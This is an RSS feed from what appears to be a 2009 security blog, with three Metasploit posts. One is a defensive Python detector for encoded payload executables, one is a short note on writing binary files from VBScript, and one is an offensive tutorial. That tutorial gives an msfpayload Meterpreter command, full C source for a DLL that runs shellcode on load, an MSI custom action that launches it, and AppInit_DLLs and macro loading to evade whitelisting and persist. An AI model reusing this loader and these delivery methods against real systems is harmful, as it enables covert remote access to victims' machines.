metasploit – Grey Panthers Savannah https://grey-panther.net Just another WordPress site Thu, 30 Jul 2009 15:32:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9 206299117 Detecting the Metasploit encryptors in one hour and 49 lines of Python https://grey-panther.net/2009/07/detecting-the-metasploit-encryptors-in-one-hour-and-49-lines-of-python.html https://grey-panther.net/2009/07/detecting-the-metasploit-encryptors-in-one-hour-and-49-lines-of-python.html#comments Thu, 30 Jul 2009 15:32:00 +0000 https://grey-panther.net/?p=245 9079179_781bb2abcd_b I’ve seen a lot of blogpostings lately which proclaim that Metasploit payloads encrypted with one of the available encryptors and written into an executable file are somewhat “magically” capable of bypassing AV software (these posts usually contain a couple of VirusTotal links to demonstrate the point). The main scenario considered (from what I gather) is the following: you prepare a connect-back shell and then you convince the target of your penttest to run it (you email it to them, you put it on an USB stick, etc) and you get access to their machine. The AV aspect comes into the picture when you consider that the target has such software running on their system.

So I said: detecting it can’t be that hard! And generated all the combination of payloads and encoders (plus some triple encoded ones – since this also seems to be considered “a better way” to hide the payloads) and written up the following python script using pefile and pydasm:

import pefile, pydasm
import sys, glob, operator, re

def countFInstr(buffer):
  offset = 0
  fpoint = 0
  rx = re.compile("0x[0-9a-f]+")
  while offset < len(buffer): 
    i = pydasm.get_instruction(buffer[offset:], pydasm.MODE_32) 
    instr = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, 0)
    if (instr and rx.search(instr)): fpoint += 1
    if not i:
      offset += 1
    else:
      offset += i.length
  return fpoint

def scan(filename):
  try:
    pe = pefile.PE(filename, fast_load=True)
  except pefile.PEFormatError:
    return False
  execSectionSize = 0
  foundRWXSection = False
  rw = 0x40000000 | 0x80000000L
  for section in pe.sections:
    if (0 == section.Characteristics & 0x20000000): continue
    execSectionSize += section.SizeOfRawData
    if (rw == section.Characteristics & rw):
      # print section.Name
      buffer = section.get_data(section.VirtualAddress, 128) 
      # for c in buffer: print "%#x" % ord(c),
      # print ""
      # print countFInstr(buffer)
      if (countFInstr(buffer) < 16): return False
      if (len(buffer) < 128): return False
      foundRWXSection = True
  if (not foundRWXSection): return False
  if (execSectionSize > 4096): return False
  return True

sys.argv = reduce(operator.add, map(glob.glob, sys.argv))

for filename in sys.argv[1:]:
  print filename, " ",
  if scan(filename):
    print "Metasploit!"
  else:
    print "-"

It has a detection rate of 100% and a false positive rate of 0% (although I didn’t have access to executable files packed with more “exotic” packers which would have given me a more accurate FP rate – even so I consider that the detection method is not really prone to false positives).

So how does it work? What does it take for it to say “Metasploit”?

  • The executable must have at least one section marked with Read/Write/Execute (typical for packers)
  • The beginning of the given section (the first 128 bytes) must contain at least 16 instructions with hardcoded constants (immediate instructions)
  • The total number of raw data loaded into executable sections must be less than 4k

But wait! – you might say – you are not detecting the actual payload! You are detecting some particular characteristics of the file which are relatively easy to change! And my reply is: correct. But discussion about the “correct” way of doing things is a philosophical one as long as the presented solution has a low FN/FP rate and is efficient. You might get into an argument about how “future proof” it is, but then again, most AV products are black-boxes and it wouldn’t be so straight forward to find the particular detection algorithm and then circumvent it.

An other thing I remarked is that the given code doesn’t try to defend against emulators (for example by doing multiple loops, calling different windows API’s, etc). While the code is sufficiently complicate to create a problem for IDS’s, AV software which has emulation capability (and almost all of the “big guys” and even many of the smaller guys do) will go trough the decryptor like a hot knife trough butter.

So why then doesn’t AV detect these executables? Because they occur in very low numbers, and unfortunately today AV is a numbers game.

Please, the next time you p0wn the client with a metasploit-payload-executable, don’t say “AV is worthless”. Rather say: “this demonstrates what an undetected malware can do, so you should use multiple layers of defense”.

Picture taken from fazen’s photostream with permission.

]]>
https://grey-panther.net/2009/07/detecting-the-metasploit-encryptors-in-one-hour-and-49-lines-of-python.html/feed 2 245
Writing binary values to files from VBScript https://grey-panther.net/2009/02/writing-binary-values-to-files-from-vbscript.html https://grey-panther.net/2009/02/writing-binary-values-to-files-from-vbscript.html#respond Wed, 18 Feb 2009 15:20:00 +0000 https://grey-panther.net/?p=395 3023382426_befba928b6_b

Browsing the interwebs, I came across the following article: Invisible Denizen: ie_unsafe_scripting metasploit module. In it I found a part which raised my curiosity:

Unfortunately, it does not allow you to directly write binary files to the file system. (You can use WScript.FileSystemObject to create a ‘text’ file that contains binary data, but this will only work if you are in an ANSI / ASCII-based version of Windows, such as us in the USA. If you’re in Japan, it apparently epicfails. No promises mine won’t do the same thing, even though I’ve tried to work around it.)

So I followed the link and was surprised to find that indeed, the naive code only works for some locales (like English or Romanian). The comments in the post also give a solution which I’ve seen in a lot of malicious scripts: using ADODB.Stream, and this clears things up.

PS. The code generated by msfpayload … V is not VBScript (which uses the old Basic syntax to open a file in binary mode), rather it is VBA (Visual Basic for Applications) which can be found in MS Office a other programs.

Image taken from hercios’ photostream with permission.

]]>
https://grey-panther.net/2009/02/writing-binary-values-to-files-from-vbscript.html/feed 0 395
Loading the Meterpreter in a DLL https://grey-panther.net/2009/01/loading-the-meterpreter-in-a-dll.html https://grey-panther.net/2009/01/loading-the-meterpreter-in-a-dll.html#comments Mon, 12 Jan 2009 19:37:00 +0000 https://grey-panther.net/?p=458 After ranting about Metasploit I played around a little bit and tried out a little and here a part of what I found:

Some times it may be useful to load the Meterpreter (or any payload in fact) as a DLL. Two scenarios I can think of:

  • Software Restriction Policies (and many other whitelisting products) don’t filter DLLs (even though, they probably can be configured – SRP can be for example), so it might be useful to get in and execute the code from a DLL.
  • It may be interesting to load it in a MSI.

Anyway, first I tried the easy way: generate an executable and patch it as a DLL with a short pefile script:


import pefile
pe = pefile.PE("runme.exe")
pe.FILE_HEADER.Characteristics += 0x2000
pe.write(filename="loadme.dll")

This works… With a couple quite problematic shortcomings:

  • The PE file generated by msfpayload is based at 0x400000 and contains no relocation information, making it quite unlikely that it can be loaded in any real application…
  • And second: the launching of the shellcode is done from what is the “DllMain”, resulting in the fact that the thread which loads the DLL will go in never ever land and won’t be heard of again (with less nonsense: it will execute the shellcode and won’t return from it, which can lead to things like freezing GUI / application if it is loaded from the main thread).

The conclusion is that a custom DLL written in C is needed. Fortunately it is quite easy to write such a thing. For this example I use the LCC-Win32 compiler because it is a nice and slim one, but you can use anything (like GCC, Watcom C – which is also free BTW – or even Visual C++).

First, export the shellcode:

./msfpayload windows/meterpreter/bind_tcp C > foo.txt

You should see something like the following in the output file:


unsigned char buf[] =

"xfcxe8x56x00x00x00x53x55x56x57x8bx6cx24x18x8b"

...

Now it is time to create the project. The full source code is below (I omitted the actual payload code to shorted the post a little:


#include 
#include 

#ifdef __cplusplus
extern "C" DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller);
#endif

unsigned char buf[] =
"xfcxe8x56x00x00x00x53x55x56x57x8bx6cx24x18x8b"
...;

DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller) {
 // we have done nothing successfully :-)
 MessageBox(NULL, "Here!", "Here!", MB_OK + MB_SERVICE_NOTIFICATION);
 return ERROR_SUCCESS;
}

DWORD WINAPI startShellcode(LPVOID lpParameter) {
 DWORD oldProtect;
 DWORD (*shellcode)(void);

 HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 2*sizeof(buf));
 if (NULL == hHeap) return GetLastError();
 void *shellCodeCopy = HeapAlloc(hHeap, 0, sizeof(buf));
 if (NULL == shellCodeCopy) return GetLastError();

 memcpy(shellCodeCopy, buf, sizeof(buf));
 VirtualProtect(shellCodeCopy, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
 shellcode = shellCodeCopy;
 return shellcode();
}



BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved) {
 if (DLL_PROCESS_ATTACH == fdwReason) {
  CreateThread(NULL, 0, startShellcode, NULL, 0, NULL);
  Sleep(500);
 }

    return TRUE;

}

A few remarks about the source code:

  • The modus operandi is the following: as soon as the DLL is loaded a new thread is spawned. This thread copies the shellcode to a newly allocated memory block and jumps to it. This means that you don’t need to actually call functions from the DLL to start it. Also, this means that the thread loading the DLL is not blocked.
  • The zone where the shellcode is copied is marked properly with the execution attribute, this means that it will work even with NX/DEP enabled (because we’re telling the OS that we do want to execute code from the given memory pages)
  • Casting the pointer to the shellcode to a function pointer and calling it trough that was necessary because LCC doesn’t seem to support inline assembly statements. As a sideeffect this code is also more portable (because it doesn’t have to account for the Intel vs. AT&T assembly syntax differences)
  • If you are compiling this LCC, you need to explicitly disable the “name mangling” for the exports to have the correct name (otherwise it will be named like “_doNothingFunc@4”). You can do this, go to Project -> Configuration -> Linker and check the “Do not include underscores in the dll exports” option.

Now, how can you load this dll?

  • Via rundll32 (for testing): rundll32 mdll.dll,doNothingFunc 123
  • Including it in an install kit. You need to add lines similar to the following to the WiX script previously discussed:
    
    <Binary Id="SampleDllCa" SourceFile="/pefile/mdll/lcc/msdll.dll" />
    
    <CustomAction Id="Meterpreter" BinaryKey="SampleDllCa" DllEntry="doNothingFunc" />
    
    <InstallExecuteSequence>
      <Custom Action="Meterpreter" Sequence='1'/>
    </InstallExecuteSequence>
    
    
  • Using the AppInit_DLLS registry key. Contrary with what the linked documentation says, this works up to Windows 2k3. In Vista they changed it to LoadAppInit_DLLs with stricter ACLs (thanks to Raymond Chen for the link). One sideeffect is that the DLL is loaded every application, so be prepared to get a bunch of connections if you are using the connect-back payload.
  • Importing the DLL from a macro. You can also check out Didier Steven’s post about this topic.

One thing to keep in mind is that the process which hosts the DLL might end quickly, so something like this script to automatically migrate to a new process should be taken into consideration.

Have fun and stay safe!

Update: the same MSI is executed both on installing and uninstalling the product, so the DLL does have a second chance to run.

]]>
https://grey-panther.net/2009/01/loading-the-meterpreter-in-a-dll.html/feed 2 458